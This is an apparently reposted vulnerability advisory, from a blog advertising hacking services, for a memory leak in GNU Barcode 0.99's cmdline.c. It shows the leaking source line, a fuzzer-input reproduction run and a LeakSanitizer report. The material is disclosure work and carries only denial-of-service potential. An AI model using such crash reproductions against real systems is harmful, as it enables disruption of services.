Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86371971

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# GNU Barcode 0.99 - Memory Leak
# Vendor: The GNU Project | Free Software Foundation, Inc.
# Product web page: https://www.gnu.org/software/barcode/
# https://directory.fsf.org/wiki/Barcode
# Affected version: 0.99
# Tested on: Ubuntu 16.04.4
# Author: Gjoko 'LiquidWorm' Krstic

# Summary: GNU Barcode is a tool to convert text strings to printed bars.
# It supports a variety of standard codes to represent the textual strings
# and creates postscript output.

# Desc: GNU Barcode suffers from a memory leak vulnerability, which can be exploited
# by malicious people to cause a DoS (Denial of Service). The vulnerability is
# caused due to an error in the 'cmdline.c', which can be exploited to cause a
# memory leak via a specially crafted file. The vulnerability is confirmed in
# version 0.99. Other versions may also be affected.

cmdline.c:

128: int commandline(struct commandline *args, int argc, char **argv,
129:                 char *errorhead)
130: {
131:     struct commandline *ptr;
132:     char *getopt_desc = (char *)calloc(512, 1);
133:     int desc_offset = 0;
134:     int opt, retval;
135:     char *value;

lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -b id:000034,sig:06,src:000000,op:havoc,rep:128
%!PS-Adobe-2.0
%%Creator: "barcode", libbarcode sample frontend
%%DocumentPaperSizes: A4
%%EndComments
%%EndProlog

%%Page: 1 1

% Printing barcode for "id:000034,sig:06,src:000000,op:havoc,rep:128", scaled  1.00, encoded using "code 128-B"
% The space/bar succession is represented by the following widths (space first):
% 02112141341111132221411221212411211241142121224111122141142121132221421121412213212211231221231221231221231222211322212311122321142121421121221143212211231222231121122321142121212411411223212211231221231221231221231221231221231221122321341111112423212211224111211244112121341111411221122321212411122141112423212211232212232113112221321132331112
[
%  height  xpos   ypos  width       height  xpos   ypos  width
   [75.00  11.00  15.00  1.85]      [75.00  13.50  15.00  0.85]
   [75.00  16.50  15.00  0.85]      [70.00  21.50  20.00  0.85]
   [70.00  27.00  20.00  3.85]      [70.00  30.50  20.00  0.85]
   [70.00  32.50  20.00  0.85]      [70.00  35.50  20.00  2.85]
   [70.00  40.00  20.00  1.85]      [70.00  43.50  20.00  0.85]
   [70.00  48.50  20.00  0.85]      [70.00  51.00  20.00  1.85]
   [70.00  54.50  20.00  0.85]      [70.00  57.50  20.00  0.85]
   [70.00  62.00  20.00  3.85]      [70.00  65.50  20.00  0.85]
   [70.00  68.50  20.00  0.85]      [70.00  71.00  20.00  1.85]
   [70.00  76.50  20.00  0.85]      [70.00  80.00  20.00  3.85]
   [70.00  84.50  20.00  0.85]      [70.00  87.50  20.00  0.85]
   [70.00  91.00  20.00  1.85]      [70.00  96.50  20.00  0.85]
   [70.00  98.50  20.00  0.85]      [70.00 101.00  20.00  1.85]
   [70.00 104.50  20.00  0.85]      [70.00 109.50  20.00  0.85]
   [70.00 113.00  20.00  3.85]      [70.00 117.50  20.00  0.85]
   [70.00 120.50  20.00  0.85]      [70.00 123.50  20.00  2.85]
   [70.00 128.00  20.00  1.85]      [70.00 131.50  20.00  0.85]
   [70.00 137.00  20.00  1.85]      [70.00 139.50  20.00  0.85]
   [70.00 142.50  20.00  0.85]      [70.00 147.50  20.00  0.85]
   [70.00 151.00  20.00  1.85]      [70.00 154.50  20.00  2.85]
   [70.00 158.50  20.00  0.85]      [70.00 162.00  20.00  1.85]
   [70.00 164.50  20.00  0.85]      [70.00 168.50  20.00  2.85]
   [70.00 172.00  20.00  1.85]      [70.00 175.50  20.00  0.85]
   [70.00 179.50  20.00  2.85]      [70.00 183.00  20.00  1.85]
   [70.00 186.50  20.00  0.85]      [70.00 190.50  20.00  2.85]
   [70.00 194.00  20.00  1.85]      [70.00 197.50  20.00  0.85]
   [70.00 201.50  20.00  2.85]      [70.00 205.00  20.00  1.85]
   [70.00 209.00  20.00  1.85]      [70.00 212.50  20.00  0.85]
   [70.00 215.50  20.00  2.85]      [70.00 220.00  20.00  1.85]
   [70.00 223.50  20.00  0.85]      [70.00 227.50  20.00  2.85]
   [70.00 230.50  20.00  0.85]      [70.00 233.00  20.00  1.85]
   [70.00 237.50  20.00  2.85]      [70.00 241.50  20.00  0.85]
   [70.00 245.00  20.00  3.85]      [70.00 249.50  20.00  0.85]
   [70.00 252.50  20.00  0.85]      [70.00 258.00  20.00  1.85]
   [70.00 260.50  20.00  0.85]      [70.00 263.50  20.00  0.85]
   [70.00 267.00  20.00  1.85]      [70.00 269.50  20.00  0.85]
   [70.00 275.50  20.00  2.85]      [70.00 279.50  20.00  0.85]
   [70.00 283.00  20.00  1.85]      [70.00 285.50  20.00  0.85]
   [70.00 289.50  20.00  2.85]      [70.00 293.00  20.00  1.85]
   [70.00 297.00  20.00  1.85]      [70.00 301.50  20.00  2.85]
   [70.00 304.50  20.00  0.85]      [70.00 307.50  20.00  0.85]
   [70.00 310.00  20.00  1.85]      [70.00 314.50  20.00  2.85]
   [70.00 318.50  20.00  0.85]      [70.00 322.00  20.00  3.85]
   [70.00 326.50  20.00  0.85]      [70.00 329.50  20.00  0.85]
   [70.00 332.50  20.00  0.85]      [70.00 337.00  20.00  3.85]
   [70.00 340.50  20.00  0.85]      [70.00 345.50  20.00  0.85]
   [70.00 348.00  20.00  1.85]      [70.00 352.50  20.00  2.85]
   [70.00 356.50  20.00  0.85]      [70.00 360.00  20.00  1.85]
   [70.00 362.50  20.00  0.85]      [70.00 366.50  20.00  2.85]
   [70.00 370.00  20.00  1.85]      [70.00 373.50  20.00  0.85]
   [70.00 377.50  20.00  2.85]      [70.00 381.00  20.00  1.85]
   [70.00 384.50  20.00  0.85]      [70.00 388.50  20.00  2.85]
   [70.00 392.00  20.00  1.85]      [70.00 395.50  20.00  0.85]
   [70.00 399.50  20.00  2.85]      [70.00 403.00  20.00  1.85]
   [70.00 406.50  20.00  0.85]      [70.00 410.50  20.00  2.85]
   [70.00 414.00  20.00  1.85]      [70.00 417.50  20.00  0.85]
   [70.00 421.50  20.00  2.85]      [70.00 425.00  20.00  1.85]
   [70.00 428.50  20.00  0.85]      [70.00 431.00  20.00  1.85]
   [70.00 435.50  20.00  2.85]      [70.00 439.50  20.00  0.85]
   [70.00 445.00  20.00  3.85]      [70.00 448.50  20.00  0.85]
   [70.00 450.50  20.00  0.85]      [70.00 452.50  20.00  0.85]
   [70.00 457.00  20.00  3.85]      [70.00 462.50  20.00  2.85]
   [70.00 466.50  20.00  0.85]      [70.00 470.00  20.00  1.85]
   [70.00 472.50  20.00  0.85]      [70.00 476.00  20.00  1.85]
   [70.00 481.50  20.00  0.85]      [70.00 483.50  20.00  0.85]
   [70.00 486.50  20.00  0.85]      [70.00 489.00  20.00  1.85]
   [70.00 496.00  20.00  3.85]      [70.00 499.50  20.00  0.85]
   [70.00 502.50  20.00  0.85]      [70.00 505.50  20.00  0.85]
   [70.00 511.00  20.00  3.85]      [70.00 514.50  20.00  0.85]
   [70.00 516.50  20.00  0.85]      [70.00 521.50  20.00  0.85]
   [70.00 524.00  20.00  1.85]      [70.00 527.50  20.00  0.85]
   [70.00 530.00  20.00  1.85]      [70.00 534.50  20.00  2.85]
   [70.00 538.50  20.00  0.85]      [70.00 541.50  20.00  0.85]
   [70.00 546.00  20.00  3.85]      [70.00 549.50  20.00  0.85]
   [70.00 552.00  20.00  1.85]      [70.00 555.50  20.00  0.85]
   [70.00 560.50  20.00  0.85]      [70.00 562.50  20.00  0.85]
   [70.00 567.00  20.00  3.85]      [70.00 572.50  20.00  2.85]
   [70.00 576.50  20.00  0.85]      [70.00 580.00  20.00  1.85]
   [70.00 582.50  20.00  0.85]      [70.00 586.50  20.00  2.85]
   [70.00 591.00  20.00  1.85]      [70.00 594.00  20.00  1.85]
   [70.00 598.50  20.00  2.85]      [70.00 602.50  20.00  0.85]
   [70.00 605.50  20.00  2.85]      [70.00 608.50  20.00  0.85]
   [70.00 612.00  20.00  1.85]      [70.00 615.50  20.00  0.85]
   [70.00 620.00  20.00  1.85]      [70.00 622.50  20.00  0.85]
   [75.00 627.00  15.00  1.85]      [75.00 632.50  15.00  2.85]
   [75.00 635.50  15.00  0.85]      [75.00 638.00  15.00  1.85]

] { {} forall setlinewidth moveto 0 exch rlineto stroke} bind forall
[
%   char    xpos   ypos fontsize
    [(o)   21.00  10.00 12.00]
    [(/)   32.00  10.00  0.00]
    [(c)   43.00  10.00  0.00]
    [(r)   54.00  10.00  0.00]
    [(a)   65.00  10.00  0.00]
    [(s)   76.00  10.00  0.00]
    [(h)   87.00  10.00  0.00]
    [(e)   98.00  10.00  0.00]
    [(s)  109.00  10.00  0.00]
    [(/)  120.00  10.00  0.00]
    [(i)  131.00  10.00  0.00]
    [(d)  142.00  10.00  0.00]
    [(:)  153.00  10.00  0.00]
    [(0)  164.00  10.00  0.00]
    [(0)  175.00  10.00  0.00]
    [(0)  186.00  10.00  0.00]
    [(0)  197.00  10.00  0.00]
    [(3)  208.00  10.00  0.00]
    [(4)  219.00  10.00  0.00]
    [(,)  230.00  10.00  0.00]
    [(s)  241.00  10.00  0.00]
    [(i)  252.00  10.00  0.00]
    [(g)  263.00  10.00  0.00]
    [(:)  274.00  10.00  0.00]
    [(0)  285.00  10.00  0.00]
    [(6)  296.00  10.00  0.00]
    [(,)  307.00  10.00  0.00]
    [(s)  318.00  10.00  0.00]
    [(r)  329.00  10.00  0.00]
    [(c)  340.00  10.00  0.00]
    [(:)  351.00  10.00  0.00]
    [(0)  362.00  10.00  0.00]
    [(0)  373.00  10.00  0.00]
    [(0)  384.00  10.00  0.00]
    [(0)  395.00  10.00  0.00]
    [(0)  406.00  10.00  0.00]
    [(0)  417.00  10.00  0.00]
    [(,)  428.00  10.00  0.00]
    [(o)  439.00  10.00  0.00]
    [(p)  450.00  10.00  0.00]
    [(:)  461.00  10.00  0.00]
    [(h)  472.00  10.00  0.00]
    [(a)  483.00  10.00  0.00]
    [(v)  494.00  10.00  0.00]
    [(o)  505.00  10.00  0.00]
    [(c)  516.00  10.00  0.00]
    [(,)  527.00  10.00  0.00]
    [(r)  538.00  10.00  0.00]
    [(e)  549.00  10.00  0.00]
    [(p)  560.00  10.00  0.00]
    [(:)  571.00  10.00  0.00]
    [(1)  582.00  10.00  0.00]
    [(2)  593.00  10.00  0.00]
    [(8)  604.00  10.00  0.00]
]   { {} forall dup 0.00 ne {
  /Helvetica findfont exch scalefont setfont
    } {pop} ifelse
    moveto show} bind forall
% End barcode for "id:000034,sig:06,src:000000,op:havoc,rep:128"

showpage
%%Trailer

==2183==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 512 byte(s) in 1 object(s) allocated from:
    #0 0x7fcb3aca179a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
    #1 0x407be2 in commandline /home/lqwrm/research/barcode-0.99/cmdline.c:132

Direct leak of 55 byte(s) in 1 object(s) allocated from:
    #0 0x7fcb3aca1602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x7fcb3a8ca489 in __strdup (/lib/x86_64-linux-gnu/libc.so.6+0x8b489)

SUMMARY: AddressSanitizer: 567 byte(s) leaked in 2 allocation(s).